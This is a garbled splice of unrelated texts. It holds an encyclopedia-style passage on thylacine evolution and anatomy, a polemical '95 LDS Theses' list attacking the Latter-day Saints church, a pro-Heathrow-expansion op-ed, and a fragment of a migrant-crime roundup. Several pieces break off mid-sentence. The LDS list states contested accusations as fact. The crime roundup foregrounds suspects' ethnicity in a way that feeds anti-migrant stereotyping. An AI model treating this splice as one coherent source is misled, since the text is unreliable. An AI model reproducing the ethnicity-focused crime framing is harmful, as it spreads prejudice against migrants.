The modern thylacine probably appeared about 4 million years ago. Species of the family Thylacinidae date back to the beginning of the Miocene; since the early 1990s, at least seven fossil species have been uncovered at Riversleigh, part of Lawn Hill National Park in northwest Queensland.[16][17] Dickson's thylacine (Nimbacinus dicksoni) is the oldest of the seven discovered fossil species, dating back to 23 million years ago. This thylacinid was much smaller than its more recent relatives.[18] The largest species, the powerful thylacine (Thylacinus potens) which grew to the size of a wolf, was the only species to survive into the late Miocene.[19] In late Pleistocene and early Holocene times, the modern thylacine was widespread (although never numerous) throughout Australia and New Guinea.[20]
An example of convergent evolution, the thylacine showed many similarities to the members of the dog family, Canidae, of the Northern Hemisphere: sharp teeth, powerful jaws, raised heels and the same general body form. Since the thylacine filled the same ecological niche in Australia as the dog family did elsewhere, it developed many of the same features. Despite this, as a marsupial it is unrelated to any of the Northern Hemisphere placental mammal predators.[21]
They are easy to tell from a true dog because of the stripes on the back but the skeleton is harder to distinguish. Zoology students at Oxford had to identify 100 zoological specimens as part of the final exam. Word soon got around that, if ever a 'dog' skull was given, it was safe to identify it as Thylacinus on the grounds that anything as obvious as a dog skull had to be a catch. Then one year the examiners, to their credit, double bluffed and put in a real dog skull. The easiest way to tell the difference is by the two prominent holes in the palate bone, which are characteristic of marsupials generally.[22] Richard Dawkins, The Ancestor's Tale
Phylogeny [ edit ]
The thylacine is a basal member of the Dasyuromorphia along with numbats, dunnarts, wambengers, and quolls. The cladogram follows:[23]
Characteristics [ edit ]
Source of information [ edit ]
Stuffed specimen in Madrid
Descriptions of the thylacine come from preserved specimens, fossil records, skins and skeletal remains, and black and white photographs and film of the animal both in captivity and from the field.
General appearance [ edit ]
The thylacine resembled a large, short-haired dog with a stiff tail which smoothly extended from the body in a way similar to that of a kangaroo. Although not related, it was similar to the hyena in its unusual stance and general demeanour.[21]
Size [ edit ]
The mature thylacine ranged from 100 to 130 cm (39 to 51 in) long, plus a tail of around 50 to 65 cm (20 to 26 in).[24] Adults stood about 60 cm (24 in) at the shoulder and weighed 20 to 30 kg (40 to 70 lb).[24] There was slight sexual dimorphism with the males being larger than females on average.[25]
All known Australian footage of live thylacines, shot in Hobart Zoo, Tasmania, in 1911, 1928, and 1933. Two other films are known, shot in London Zoo
Skeleton [ edit ]
Thylacines, uniquely for marsupials, have largely cartilaginous epipubic bones with a highly reduced osseous element.[26][27] This has been once considered a synapomorphy with sparassodonts,[28] though its now thought that both groups reduced their epipubics independently.
Coat [ edit ]
Its yellow-brown coat featured 15 to 20 distinctive dark stripes across its back, rump and the base |
for guidance and understanding as they struggle with their own disbelief, at least have the integrity to have examined the information that has brought them to their conclusions so that you may discount or explain it from a position of knowledge and not ignorance.
“If a faith will not bear to be investigated: if its preachers and professors are afraid to have it examined, their foundation must be very weak.” (George Albert Smith, Journal Of Discourses, v 14, page 216)
Update: I have update the theses with a more current and better organized version taken from here. The original list posted here can still be seen here.
95 LDS Theses
Question: What’s wrong with the Church of Jesus Christ of Latter-day Saints?
Answer:
BEHAVIOR CONTROL ISSUES
1. LDS President Spencer W. Kimball said, “Brothers and sisters, pray for the critics of the Church” (“Remember the Mission of the Church”, Ensign, May 1982, p.4) but today’s LDS Church is quick to label and denounce internal and external critics as “enemies out to destroy” even when they’re simply speaking the truth, seeking to gain understanding, and/or trying to make the church a better place.
2. The LDS Church focuses on the needs and interests of the institution over the needs and interests of the members. For example, on January 29, 2013, the LDS Church announced that the Benemerito De Las Americas private school in Mexico would be closed and converted into a Missionary Training Center leaving its more than 2,000 LDS students to the mercy of the vastly inferior Mexican public education system.
3. D&C 121:39 says: “We have learned by sad experience that it is the nature and disposition of almost all men, as soon as they get a little authority, as they suppose, they will immediately begin to exercise unrighteous dominion.” Yet the modern LDS Church tolerates abuse of ecclesiastical power by LDS church leaders through various means from refusing to directly answer troubling questions from its members up to and including excommunication of members who speak truth to power.
4. LDS President, John Taylor, said, “I for one want no association with things that cannot be talked about and will not bear investigation.” (Journal of Discourses, Vol. 20, p. 264) but today’s LDS leaders refuse to publicly address members concerns about difficult facts of Mormon History and suppresses loyal dissent from within its ranks via disciplinary action up to and including excommunication.
5. The LDS Church website says, “Those who are married should consider their union as their most cherished earthly relationship.” Never-the-less, due to the doctrine of Celestial Marriage members often feel pressured to choose between the potential to be exalted into the Celestial Kingdom and their apostate (or non-member in the case of a convert) spouse. Choosing the former all too often results in divorce.
6. LDS Church leaders denounce and scorn former members and encourage members to do the same. To cite one example, the chapter in the official church curriculum “Teachings of Presidents of the Church: Joseph Smith” entitled “Beware The Bitter Fruit of Apostasy” (pp. 315-326) is a demonstration of how church leaders do this.
7. It asserts in the strongest language that doctrinal differences, criticisms, or questions about LDS Church policies and/or leaders are sin, for the ‘prophet’ is always right. Those who engage in such behaviors – or refuse to comply with the status quo – are subject to discipline up to and including ex-communication. An example of this is the recent excommunication action taken against Denver Snuffer.
8. It drives a wedge between member and non-member family members. Ex-Mormon family members in particular are to be avoided but the LDS Church also encourages members to steer clear of “Never Mormon” family members who are openly critical of the LDS Church. For example, one Temple Recommend Question asks, “Do you support, affiliate with, or agree with any group or individual whose teachings or practices are contrary to or oppose those accepted by the Church of Jesus Christ of Latter-day Saints?” The wording of this question strongly implies that temple worthiness requires eschewing those with beliefs opposing the LDS church. This often includes former members and/or family members critical of the church.
9. The LDS Church is the largest sponsor of Boy Scout units with over 30,000 units nationwide. Conversely, the Young Women’s Personal Progress Program receives significantly less funding and attention and demonstrates pronounced gender inequality. Why, for example, aren’t there an equal number of church sponsored Girl Scout units for girls?
10. The culture that results from LDS doctrine pressures members to marry too quickly often resulting in marriage between incompatible strangers. For example, 12th LDS President Spencer W. Kimball taught, “It was never intended by the Lord that a large portion of one’s life should be spent in the unmarried state… Long-delayed marriages are certainly not approved of the Lord.” (“The Marriage Decision”, Ensign, Feb. 1975)
11. The Lord, it is claimed, said, “Verily I say, men should be anxiously engaged in a good cause, and do many things of their own free will, and bring to pass much righteousness.” (D&C 58:27) But today LDS Leaders use the Temple Recommend process as a subtle, barely discernible means of manipulative coercion rather than allowing members to engage their free will.
12. It puts its untrained clergy in a position where they must give counsel on vital life issues that they are not qualified or equipped to competently address. The result, all too often, is ecclesiastical malpractice.
13. The LDS churches places an inordinate amount of emphasis on a commandment that enriches itself financially – the tithe. It is the only commandment that requires a yearly meeting with the bishop and must be paid without regard to a person’s personal welfare: “If paying tithing means that you can’t pay for water or electricity, pay tithing. If paying tithing means that you can’t pay your rent, pay tithing. Even if paying tithing means that you don’t have enough money to feed your family, pay tithing.” (“Sacred Transformations”, Ensign, Dec 2012. p.38)
14. The original 1835 D&C 101 said, “all marriages in this church of Christ of Latter Day Saints, should be solemnized in a public meeting” but today’s church drives a wedge between friends and family members by compelling Latter-day Saints to get married in private Temple services that exclude not only all non-members and their families, but even non-Temple Recommend holding LDS family members in addition to all children below a certain age – Mormon and non-Mormon alike.
15. The Apostle Paul wrote “there is neither male nor female: for you are all one in Christ Jesus” (Galatians 3:28). Yet the LDS Church gives men an exalted status over women; refuses them the Priesthood; denies that women are co-equals; and chooses instead to subordinate them to men.
16. LDS church leaders replace “ye are free; ye are permitted to act for yourselves” (Helaman 14:30) with obedience to trivial and arbitrary rules. Things like ear piercings, movies, tattoos, and clothing choices have nothing to do with salvation – therefore, these are areas where individual Free Agency and the leading of the Spirit should prevail.
17. It imposes vague, scientifically discredited 19th Century dietary regulations on members via the “Word of Wisdom” (Doctrine & Covenants section 89). This isn’t a trivial matter since a lack of compliance to these standards can result in the loss of one’s temple recommend – per the Temple Recommend Worthiness Interview question which directly asks, “Do you keep the Word of Wisdom?”
18. It quells and compromises good scholarship within its rank by demonizing, disfellowshipping and excommunicating members who produce scholarly works discussing Mormon History, Theology, or culture that have scholastic integrity. The classic example of this are The September Six– the six esteemed, respected, and in some cases award winning, Latter-day Saint scholars who were excommunicated in September 1993 for producing such work.
19. D&C 58:27 states “men should be anxiously engaged in a good cause, and do many things of their own free will, and bring to pass much righteousness” and Joseph Smith stated “I teach them correct principles, and they govern themselves.” (“The Organization of the Church”, Millennial Star, Nov. 15, 1851, p. 339). However, the church often does exactly the opposite: Such as rewarding Paul H. Dunn with a General Authority position for his compliant use of “faith promoting” lies, but excommunicating D. Michael Quinn for continuing to tell the authentic truth despite being told by Mormon leaders to stop.
20. By requiring a full tithing to participate in the temple endowment ceremony, and thereby achieve exaltation, the LDS church disregards Moroni’s censure: “Yea, it shall come in a day when there shall be churches built up that shall say: Come unto me, and for your money you shall be forgiven of your sins.”(Mormon 8:32)
21. It uses employment in LDS Church and member owned institutions and businesses to coerce obedience to its dogma and leaders. An example of this is John P. Hatch being terminated from Deseret Book for simply expressing his opinion regarding, “the Church’s efforts to suppress access to honest history.” in a letter to the Salt Lake Tribune without warning or asking for clarification on the letter.
22. Its leaders and members use ad-hominems, insults, slurs, derogatories, labeling, and character assassination in their dealings with critics and apostates and then deny that they do so – often going so far as to claim that those who call them on this behavior are persecuting them.
23. It allows members to privately believe whatever they want – even if it’s atheistic or contradicts LDS orthodoxy – as long as they publicly “toe the party line” and continue to contribute their time and money to the LDS Church.
24. It privately judges and abandons members that have life problems rather than patiently, encouraging, undergirding, supporting, and attempting to restore them to a healthy, productive place. This while publicly declaring that the LDS Church treats all such cases with benevolent kindness. For example, many prisoners are excommunicated in absentia once convicted of a crime. And while a small number of individual members may volunteer for a local prison-ministry in their area, there is currently no formal church sponsored outreach to prisoners. The same can be said for those suffering from alcoholism, drug abuse, sexual addiction, gambling addiction, etc., etc., etc. Further, many snared in these life situations simply experience church discipline in various forms and are told to repent – nothing more.
25. It tends to view any doubt, character flaw, or personal deficiency as “sin” rather than as a normal expression of the human condition and life experience. Thus it has created an implied and unstated expectation that members must always be perfect and/or “all together” or they’re in sin and unworthy of advancement within the organization.
26. It practices graceless, merciless, condemning, legalistic disciplinary extremes – far beyond Biblical standards – in regard to those who have engaged in sexual activity outside of marriage that, as has been reported by many, often leads to a “no-win” double-bind spiral into hopeless despair. Seventh LDS President Heber J. Grant articulated this extremism well when he said, “There is no true Latter-day Saint who would not rather bury a son or a daughter than to have him or her lose his or her chastity – realizing that chastity is of more value than anything else in all the world.” (Heber J. Grant quoted in, “Gospel Standards”, complied by G. Homer Durham, p. 55)
27. The Apostle Jude commanded “Be merciful to those who doubt” (Jude 1:22, NIV). Instead LDS leaders often demand blind compliance from those questioning and wavering. Failing at that they will expose, quarantine, isolate – and if necessary expel – doubters rather than encouraging, supporting, and protecting them while they work through their doubt.
28. It preaches extreme, legalistic, and arbitrary sexual standards regarding masturbation that are not scripturally or scientifically supportable.
29. Via the Priesthood Correlation Program it tries to turn everyone into a Utah Mormon and every Chapel, Ward, and Stake into a Utah Chapel, Ward, and Stake rather than encouraging – even celebrating – each culture’s unique distinctives.
30. It has created a culture whereby fear of their family’s reaction puts pressure on disenchanted LDS Missionaries to continue with their missions whether they want to or not.
31. Women are inappropriately subordinate, not equals, with men in the LDS church. For example, in the Temple Endowment Ceremony women swear obedience to God and to her husband while the man swears obedience only to God. Additionally women may not act as a voice in prayer circles and instead must veil their faces.
32. It claims to be “pro-family” while simultaneously creating a culture that breaks up both Mormon and non-Mormon families via the aforementioned.
33. It has a double standard for treating non-members with charitable benevolence (as a means of proselytizing and public relations) while exacting, high, often unattainable standards that members must meet to receive the same levels of attention, aid, and assistance.
34. Despite the fact that The Book of Mormon says, “For behold, ye do love money, and your substance, and your fine apparel, and the adorning of your churches, more than ye love the poor and the needy, the sick and the afflicted.” (Moroni 8:37) the First Presidency choices to invest billions in building ornate malls and temples rather than using that money to show love to the poor and the needy, the sick and the afflicted.
INFORMATION CONTROL ISSUES
35. Although the LDS church sates that “we believe in being honest” (13th Article of Faith), it regularly substitutes faith promoting “spin” to its members, the media, and investigators instead of telling the full truth regarding its history and theology.
36. The LDS Church has suppressed – and allegedly has even destroyed – church owned documents and artifacts that would expose the fact that it’s not telling the full truth regarding its history and theology. Examples of suppressed documents include: a) the contents of the First Presidency’s Vault; b) The Mark Hofmann forgeries that the church purchased from him, and; c) The Joseph Smith seer stones that were used to “translate” the Book of Mormon and receive many of the revelations in Doctrine & Covenants, and many others.
37. Since 1959 it has suppressed its financial records in the United States and other countries where churches aren’t required to publicly disclose such records, thus eliminating full accountability in terms of how member contributions are used.
38. I Nephi 13:9 warns, “for the praise of the world do they destroy the saints of God, and bring them down into captivity,” yet the behavior of today’s LDS Church would suggest its core unifying principle seems to be “Image over truth always and in all things.” Could today’s Latter-day Saints be captives destroyed by their quest for the praise of the world rather than a peculiar people?
39. It contrives man-created “revelations” and claims that they are of divine origin. Two examples of this are Official Declarations 1 and 2 – one (OD-1) of which is essentially a policy statement in the form of a press release that addresses, “To whom it may concern” and the other (OD-2) which hints at a revelation but fails to produce it in any form within the actual declaration.
40. Hymn #292, “O My Father” acknowledges the LDS doctrine of a heavenly mother. Mormon leaders throughout history have confirmed this doctrine. However, Heavenly Mother is rarely discussed, is demonstrative of male bias within the LDS Church, and is illustrative of how the church deceives investigators and others.
41. It allows unsubstantiated “faith promoting” stories to run unchecked. Examples include Three Nephite sightings, attribution of magic protective power to temple garments, and falsely implying that all the apostles have been personally visited by Jesus.
42. It restricts distribution of the LDS “Church Handbook of Instruction Book 1: Stake Presidents and Bishops” (aka “Handbook 1”) to only the Bishopric level and higher. This eliminates transparent “bottom up” accountability enabling ecclesiastical abuse because lay members can’t confront local leaders and/or report policy violations to higher authorities for rectification.
43. Gospel Principles explains, “Whenever we lead people in any way to believe something that is not true, we are not being honest.” (see Chapter 31) yet LDS Church leaders mandate that Mormon History must always be presented to members (even privately) in a manner that’s uplifting and only presents the LDS Church in a favorable light – even if the resulting narrative is not true.
44. It deceptively claims to be “Christian” when in reality it has taken Christian words, terms and forms and then changed the underlying meaning and content to an extent that they’re no longer congruent with historic, mainstream, Christian orthodoxy.
45. When it claims, “No tithing dollars were used for this building or project – the funds came from for-profit, church-owned entities” it ignores and/or obfuscates the fact that the seed, start-up, or acquisition funds logically and ultimately came from member tithes – a fact which negates the original claim.
46. It wavers on whether its ultimate authority for doctrine is the Bible, Mormon scriptures, statements of former Mormon prophets, statements of living Mormon prophets, and individual “revelation” even though these sources are often mutually contradictory.
47. It refuses to acknowledge and apologize for the role of high ranking church leaders in the massacre of 120 innocent people in 1857 atMountain Meadows.
48. It makes extraordinary – even outrageous – truth claims that are easily discredited by science, history, and the Biblical record. For example: The genomics project has a vast body of DNA evidence that conclusively demonstrates that the American aborigines were from Asia not the Middle East; Those aborigines had already migrated and were well established in the Americas thousands of years prior to the alleged arrival of the Book of Mormon people, and; The Bible plainly states that the gospel, with its inclusion of Gentiles, was not fully revealed until after Christ’s death (seeEphesians 3:3-7).
49. It excuses, rationalizes, justifies, and white washes the crimes of its founder, famous members, and past leaders. To cite just one of many such examples, polygamy was never legal whenever and wherever it was practiced by Latter-day Saint leaders and members.
50. On August 17, 1949, the First Presidency of the LDS Church stated: “The attitude of the Church with reference to Negroes remains as it has always stood. It is not a matter of the declaration of a policy but of direct commandment from the Lord” Yet the LDS Church refuses to acknowledge and apologize for the fact that until 1978 – as a point of official doctrine (not folklore, opinion, or speculative theology) and policy – the church taught racism and excluded blacks from the priesthood and temple.
51. It has used home teachers and the “Strengthening Church Members Committee” as a means of surveillance on and control of members.
52. It hypocritically claims that polygamy has no place in the contemporary LDS Church even though Joseph Smith’s revelation on polygamy (Doctrine & Covenants 132) is still canonized scripture and “Celestial Polygamy” (being eternally married to at least one more woman after being widowed or divorced) is practiced. Currently, three widowed Mormon Apostles (Dallin H. Oaks, L. Tom Perry, and Russell M. Nelson) are Celestial Polygamists.
53. It claims that the LDS Church is patterned after the early church of Jesus’ apostles, but there are major differences. To cite just one of many examples, Christ only had 12-apostles but the LdS Church has 15.
54. It rationalizes and excuses the sin, bad behavior, errors of judgment, and disastrous decisions of its prophets. They are buried, ignored, or ‘spun’ as “well-meaning human error with no need for apology or confession”.
55. It rationalizes away the revelations – even those that were fully canonized – of present or past “Living Prophets” that contradict contemporary LDS Church teachings and culture. The no-longer-in-vogue revelations are buried, ignored, or recast as “opinion not divine”. The “He was speaking as a man not a prophet” apologetic is typically used as the rationalization in these cases. Hence the critic’s couplet: ”As heresy is, Mormon doctrine once was. As Mormon doctrine is, heresy will it become.”
56. It tolerates the chronic practice of eisegesis (injecting words and ideas into the text that the author did not intend, use or mean) by LDS Church Leaders as their standard hermeneutic in interpreting the Biblical, historical, and scientific record.
57. It rationalizes the failed prophecies of future events by past “Living Prophets” by burying, ignoring, or spin doctoring them as “just his opinion”, or as requiring more time for fulfillment.
58. It undermines intellectual integrity when, by following the example learned from LDS Church Leaders and Church Educational System (CES)curriculum members engage in eisegesis as a lifestyle in all areas of life – not just scriptural interpretation but just about anything, and everything. Well known LDS Apologist Hugh Nibley is one of many examples of how this works: “…Nibley often uses his secondary sources the same way he uses his primary sources–taking phrases out of context to establish points with which those whom he quotes would likely not agree. I asked myself frequently what some authors would think if they knew that someone was using their words the way Nibley does…”
(Kent P. Jackson, “Review of Hugh Nibley, Old Testament and Related Studies,” BYU Studies 28 no. 4 (1988), pp.115-17; also see http://lds-mormon.com/nibley1.shtml)
59. It uses the term “official doctrine” as a means of silencing critics and dissents even though there is no formal, codified definition for what constitutes “official doctrine”.
60. It tolerates an untenable situation whereby the canonization process isn’t officially defined or codified yet is used to deny past publications, prophetic revelations, and other utterances from past Mormon Leaders that are no longer in vogue. For example, despite the fact that the twenty-six volume “Journal of Discourses” contains General Conference addresses from 1854-1886 that were vetted and approved by the General Authorities at the time, they are soundly now rejected as “unofficial”. This despite Brigham Young’s assertion that, “I say now, when they [his discourses] are copied and approved by me they are as good Scripture as is couched in this Bible... “ (“Journal of Discourses”, vol. 13, p. 264; see also p. 95)
61. Alma 41:8 says, “Now, the decrees of God are unalterable; therefore, the way is prepared that whosoever will may walk therein and be saved.”yet the LDS Church keeps changing its scripture. Examples include the 1921 removal of the “Lectures on Faith”; the “Santa Biblia: Reina Valera 2009″ which deviates wildly from both the source 1909 edition and the English LDS Edition of the Bible; the 2013 changes to all the English editions of The Standard Works; and the changes to the Book of Mormon that have been ongoing since 1830 – such as the 1981, post OD-2 change of “white and delightsome” to “pure and delightsome” in 2 Nephi 30:6.
62. It has failed to officially, publicly, and directly address the ever mounting discrepancies between the claims of The Book of Mormon and the archaeological, historical, theological, and scientific body of evidence.
63. It has failed to explain the incriminating consistency between the claims of The Book of Mormon and the empirical 19th Century, political, literary, cultural and theological record. For example, the Book of Mormon was so infused with 19th Century Campbellite doctrine and ideas that primitive Mormonism was referred to as “Campbellism Improved” by outsiders.
64. It has failed to provide an adequate, rational explanation for how Joseph Smith could “translate” the Book of Abraham from a set of Egyptian Book of Breathings papyri.
65. It has failed to reasonably explain how Joseph Smith could, via The Joseph Smith Translation of the Bible, append the Bible with “translations” of entire new books and chapters that have utterly no manuscripts backing them while simultaneously purging words, verses – even entire books – that are substantially supported by the extant manuscript base.
66. D&C 42:71-73 commands paid clergy: Saying in part, “they are to receive a just remuneration for all their services”. And while in actual fact the LDS Church compensates leaders via employment in church owned businesses, generous honoraria, stipends, grants, scholarships, gifts, company cars, free travel and lodging, housing and other non-cash contributions, in public it deceptively claims that “The LDS Church has no paid clergy”.
67. It hypocritically denounces those who claim to bring forth new scripture and revelations using the same methods and means that Joseph Smith did because they fail to conform to established LDS Church orthodoxy. This, while simultaneously criticizing the mainstream Christian Church for rejecting Mormonism because the revelations and scripture of its founder and subsequent “prophets” fail to conform to established Christian orthodoxy. One such example of this is Christopher Nemelka’s “The Sealed Portion”.
68. It allows LDS Church leaders and the Church Educational System (CES), to distance themselves from the work of LDS Apologists so as – it is believed – to create a “plausible deniability” escape hatch should the work of said Apologists be discredited by more qualified, objective scholarship. Nevertheless, both cite from the work of LDS Apologists (albeit typically not credited) while allowing the LDS Church to quietly fund the work of said apologists through indirect cash flows.
69. It engages in political action via direct and indirect cash flows and privately exhorts members to organize and engage in particular causes and then publicly denies any involvement. California’s Propositions 22 (circa 2000) and 8 (circa 2008) are two cases in point.
70. It publicly (and loudly) trumpets its philanthropic work when compared to other churches its per capita outlay is less than what smaller, less wealthy, less organized religious organizations spend: “A study co-written by Cragun and recently published in Free Inquiry estimates that the Mormon Church donates only about 0.7 percent of its annual income to charity; the United Methodist Church gives about 29 percent.”
(Caroline Winter, “How The Mormons Make Money”, Business Week; July 18, 2012)
71. It has allowed LDS Church leaders to obfuscate, spin-doctor, and blatantly lie to the media rather than standing with integrity and bolding telling the world what the LDS Church really believes, teaches, and practices. Such behavior should be denounced and condemned not tolerated, justified, or praised. One example of this Gordon B. Hinckley lying to journalists about the role and function of the Lorenzo Snow couplet within LDS Theology.
72. It fails to recognize the over sixty (60) active Latter Day Saint movement denominations (aka “splinter groups”) while hypocritically condemning the denominationalism of Christianity as a proof of apostasy and lack of divine legitimacy. This hypocrisy is even more pronounced when one considers that over the 180+ year history of the LDS movement there have been over 200 Latter Day Saint denominations in total with new ones forming at a rate will be eventually far exceed and outpace the total number of Christian denominations.
THOUGHT CONTROL ISSUES
73. It teaches an irrational and subjective epistemological system while simultaneously belittling epistemology based on reason, objectivity, and empiricism.
74. It employs circular logic. For example, consider its core truth claim: “The only true church is The Church of Jesus Christ of Latter-day Saints because The Church of Jesus Christ of Latter-day Saints says it’s the only true church.” Another poignant example of circular logic is the infamousDoctrine & Covenants 9:8 ”burning in the bosom” truth test that (in the vernacular) goes something like this: ”If you don’t get it, you did something wrong. If you do, that proves the church is true.” Further, when taking this test, you don’t ask God if the church is true, but rather to show you that it is true: “I will cause that your bosom shall burn within you; therefore, you shall feel that it is right.”
75. LDS Church Missionary training and policies employs Mind Control techniques and tactics.
76. It keeps members so busy with LDS Church related activities that they don’t have time for personal reflection and self-autonomy. This is especially true of men as the demands of lay leadership tend to deprive them of real, regular, authentic family time.
77. It erroneously asserts that former members didn’t leave the LDS Church for any thoughtful or legitimate reasons but rather that they were thin skinned reactive, malcontents who left the LDS Church because they wanted to sin with impunity, or because of a perceived offense. Stated plainly, this is a hypocritical double standard: It’s OK to be troubled by, doubt, criticize, and even leave other churches, but this one can’t be questioned or left.
78. It discourages intellectual self-autonomy and self-responsibility and encourages dependency on LDS Church Leaders.
79. It engages in Mind Control tactics and techniques in recruiting, indoctrinating, and retaining members.
80. The LDS Church denies being man centered or exalting – claiming that it only lifts up Heavenly Father and Jesus Christ as worthy of its worship. Yet its Hymnal contains songs of praise and adoration that exalts both dead (#27 “Praise to the Man”) and living men (#19 “We Thank Thee O God For A Prophet”).
81. It requires members to remain in a “snapped” psychological state in order to remain believing members. For example, when members encounter troubling facts about Mormon History and/or doctrine they’re either told to pray about it or “put it on the shelf”. This is called “Thought Stopping” and it’s a technique that Mind Control Cults use to avoid the rigors of logic, reason, and uncomfortable realities.
82. The Book of Mormon warns, “Wo unto them that call evil good, and good evil” (2 Nephi 15:20) yet the LDS Church requires members to adhere to moral relativism, loose ethics, and intellectual dishonesty in support of a belief system that lacks ethical congruity, consistency, and integrity. Some of the most obvious examples of this are: The practice of polygamy and the rationalization of that past polygamy today; A failure to acknowledge and apologize for its pre-1978 institutionalized racism, and finally; The practice known as “Lying for the Lord” throughout Mormon History.
83. It hypocritically rails against sound logic and reason as “the hollow and vain philosophies of men, not God” and then hypocritically attempts to (albeit poorly and inconsistently) employ logic and reason in its arguments and rhetoric.
84. It poisons members who leave the LDS Church against all other Theistic religions. This is best illustrated by the cliché used by both members and former members that goes something like this, “If the Mormon Church isn’t true then nothing is true.”
EMOTIONAL CONTROL ISSUES
85. It damages member psychology via the use of manipulative fear and unachievable standards of “worthiness”. Sadly, this lament is all too common: “Of course I do [have a testimony]! That’s what’s so terrible. I know the gospel’s true. I just can’t do it. I’ve tried and I’ve tried, but I can’t do it all, all of the time.” (Stephen E. Robinson, “Believing Christ”; Ensign, April 1992)
86. Whereas, Mormon Prophet Brigham Young preached, “A good man, is a good man, whether in this church, or out of it.” (“The Lions of the Lord: A Tale of the Old West” by Harry Leon Wilson, chap XXVIII, par 2) the modern LDS Church engenders arrogance and self-righteousness in members by telling them that they’re more enlightened and morally superior relative to the general population – including other good people of faith.
87. It uses guilt as a means of controlling members.
88. It “love bombs” investigators and new converts as a means of drawing them in.
89. It uses arbitrary, capricious, and ever changing criteria for Temple Recommend “worthiness”. For example Brigham Young’s 1856 worthiness questions (also see this ByteLine article) are almost completely different than the current set of Temple Recommend Interview questions.
90. The Book of Mormon speaks of those who, “do walk in the pride of your hearts; and there are none save a few only who do not lift themselves up in the pride of their hearts …yea, even every one, have become polluted because of the pride of your hearts.” (Mormon 8: 36) Despite this the LDS Church culture engenders clannish, elitist, and pride in members via it a Temple, Priesthood, and oligarchical calling system that puffs member up rather than encouraging and rewarding humility.
91. It encourages arrogant, condescending pride in members at all levels by telling them that they “have the whole and restored truth” that “apostates” only have in part and “gentiles” lack entirely.
92. It teaches that a rape victim has “lost her chastity” and that a woman should fight off her attacker or be killed in the attempt. For example, Apostle Spencer W. Kimball, in his book “The Miracle of Forgiveness” said, “far-reaching is the effect of loss of chastity. Once given or taken or stolen it can never be regained. Even in a forced contact such as rape or incest, the injured one is greatly outraged. If she has not cooperated and contributed to the foul deed, she is of course in a more favorable position. There is no condemnation when there is no voluntary participation. It is better to die in defending one’s virtue than to live having lost it without a struggle.” (p. 196) Thus, young Mormon women are taught that their chastity is more valuable than their life. The result is that a Mormon woman who survives a rape is made to feel guilty, and is thus victimized again, this time by her church.
93. It bestows the title “Elder” onto adolescent men (typically 18-years old) with little to no real life experience, thus puffing them up with arrogance and deluding them with prideful ignorance.
94. It hypocritically defines polemic arguments as “persecution” and then engages in polemics with its critics and those of other faiths. For example, consider how it trains its missionaries to speak of other churches:
“Without the Apostles, over time the doctrines were corrupted, and unauthorized changes were made in Church organization and priesthood ordinances, such as baptism and conferring the gift of the Holy Ghost. Without revelation and priesthood authority, people relied on human wisdom to interpret the scriptures and the principles and ordinances of the gospel of Jesus Christ.
False ideas were taught as truth. Much of the knowledge of the true character and nature of God the Father, His Son Jesus Christ, and the Holy Ghost was lost. The doctrines of faith in Jesus Christ, repentance, baptism, and the gift of the Holy Ghost became distorted or forgotten. The priesthood authority given to Christ’s Apostles was no longer present on the earth. This apostasy eventually led to the emergence of many churches.”
(“Preach My Gospel: A Guide to Missionary Service”; Official LDS Church Missionary Training curriculum, p.35)
95. It creates undue demands as well as mental, emotional, and spiritual stress and strain on members via all the above.It’s a decision which has been dogged by delays and political procrastination, put off by David Cameron to avoid a political row, and now sits in Theresa May’s in tray. For years it’s been kicked and tossed around, subjected to reviews and study, but now a decision on Heathrow expansion looms large with a decision on a third runway possibly next week.
Given the “thumbs up” by the Airports Commission, Theresa May must now decide to back Heathrow expansion or not. Coming after the Brexit vote and the dithering over Hinkley, it’s a decision which will signal just how serious May and her government are about turning the soundbites of industrial strategy and infrastructure into reality.
It’s a decision which will also signal to the rest of the world whether the UK will continue to be outward looking and open for business in a post-Brexit world. A failure to give the green light to Heathrow expansion would allow the airport’s European competitors to steal a march and diminish its status as a leading global hub.
Sending a message to the rest of the world that the UK is only partially open for business, rival airports like Frankfurt and Charles de Gaulle in Paris would rub their hands and the development of one of the UK’s most important trading gateways would be grounded. Aside from the symbolism of such a decision, a failure to go ahead would see the Government turning its back on a possible £211 billion boost to the whole of British economy over a 60 year period.
This is no small change for a post-Brexit economic road which Theresa May recently described as “bumpy”. Giving the green light to Heathrow would help smooth those bumps, by generating an estimated 180,000 jobs across the UK, and giving our young people the hope of decent work in an uncertain world through the creation of 10,000 apprenticeships by 2030.
A third runway at Heathrow will not just impact on London, but the entire UK. It will allow people to book from Newquay to Dubai, Inverness to Chicago – an international hub is as essential for the growth of our regional and national economies as it is for that of our capital.
Which is why Unite members, whose livelihoods depend on the continued success of Heathrow and the security and jobs that expansion would bring, want to see May give her backing to a third runway. From parking up and checking in, |
young man had told staff there if they didn’t buy him candy, he’d “destroy everything”, yet despite the threat was still allowed to carry a cigarette lighter, reports Aftonbladet. Days later, he building was razed to the ground.
The court heard how the boy had been extremely violent toward staff, throwing plant pots at them and attempting to extort money. It is reported that before he set the fire, the migrant also cut the cables to the smoke detector, and the building was completely destroyed.
10/03/2016 – SVEAVAGEN, Sweden – Violent rapist charged
An “African” man who violently assaulted a woman in Sweden in December is being prosecuted for attempted rape and aggravated robbery. The 27 year old reportedly struck his female victim from behind and beat her “excessively” around the head and face, leaving her with skin abrasions and a shattered nose.
The woman passed out due to the beating she received, but that didn’t stop the man continuing to punch and kick her, and attempting to rape her. It isn’t clear whether he succeeded but the woman was admitted to hospital with “semen on her underwear”, reports Aftonbladet. The man was arrested when, two days later, he used his victim’s bus pass and was caught on security camera.
10/03/2016 – VIENNA, Austria – Woman sexually harassed on train
A 25 year old woman was touched on the breasts and between the legs while travelling on the Vienna to Baden train on Wednesday, an attack that continued despite multiple attempts to end the assault. The alleged perpetrator, a 44 year old Indian citizen who was found to be drunk by officers is to be charged by the public prosecutor, reports Kronen Zeitung.
10/03/2016 – MALMO, Sweden – Man shot dead in migrant crime hotspot
A man reported to have previously known to police has been shot dead in a parked car in Malmo, the migrant crime hotspot city that has been the focus of frequent reports by Breitbart London. Witnesses heard at least three “bangs” and the driver-side door was observed to have been “shot to pieces”.
The deceased is reported to have been a resident of trouble-spot Rosengard, where Swedish police recently built a new station after discovering the old structure was insufficiently bomb and bullet proof. Speaking to Expressn, one resident said after the latest shooting: “The area does not feel safe… I myself am not scared, but my wife does not go out after dark”.
09/03/2016 – HERRENBURG, Germany – Mentally handicapped girls molested
Men described by the lifeguard as “of Arab origin” molested two girls aged 12 and 17 in a hot tub in full view of other bathers, reports Die Welt. The girls are both mentally handicapped and were in the hot tub alone at the time.
